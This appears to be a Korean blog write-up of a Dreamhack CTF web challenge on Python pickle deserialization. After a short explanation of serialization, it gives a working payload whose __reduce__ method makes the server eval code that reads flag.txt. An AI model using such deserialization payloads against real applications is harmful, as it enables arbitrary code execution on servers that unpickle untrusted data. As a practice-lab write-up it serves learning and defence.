모의해킹/Dreamhack
web-deserialize-python [WEB LEVEL1]
철민1234
2023. 4. 17. 13:47
728x90
Serialization : Object 또는 Data의 상태 또는 타입을 특정한 형태의 포맷을 가진 데이터로 변환하는 것
Deserialize : 직렬화된 데이터를 원래의 Object 또는 Data의 상태 또는 타입으로 되돌리는 것
**직렬화 하는 이유 : 데이터를 파일에 저장하거나 네트워크를 통해 바이트 형태로 변환한 후 전송을 하기 위해서
로컬에서 pickle 모듈을 사용해 세션을 만든다. 세션을 체크하면 만든 세션의 정보를 확인할 수 있다.
즉, 그러면 .flag.txt 파일을 읽는 세션을 만들면 문제을 풀 수 있을 거이다.
import pickle, base64
info={'name':'test', 'userid':'test', 'password':'test'}
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
print(data)
세션을 체크하면 flag 값을 확인할 수 있다.
import pickle, base64
class test:
def __reduce__(self):
p="open('./flag.txt').read()" #파일 읽기
return (eval,(p,))
rs={'name':test()}
print(base64.b64encode(pickle.dumps(rs)).decode('utf8')) #직렬화 작업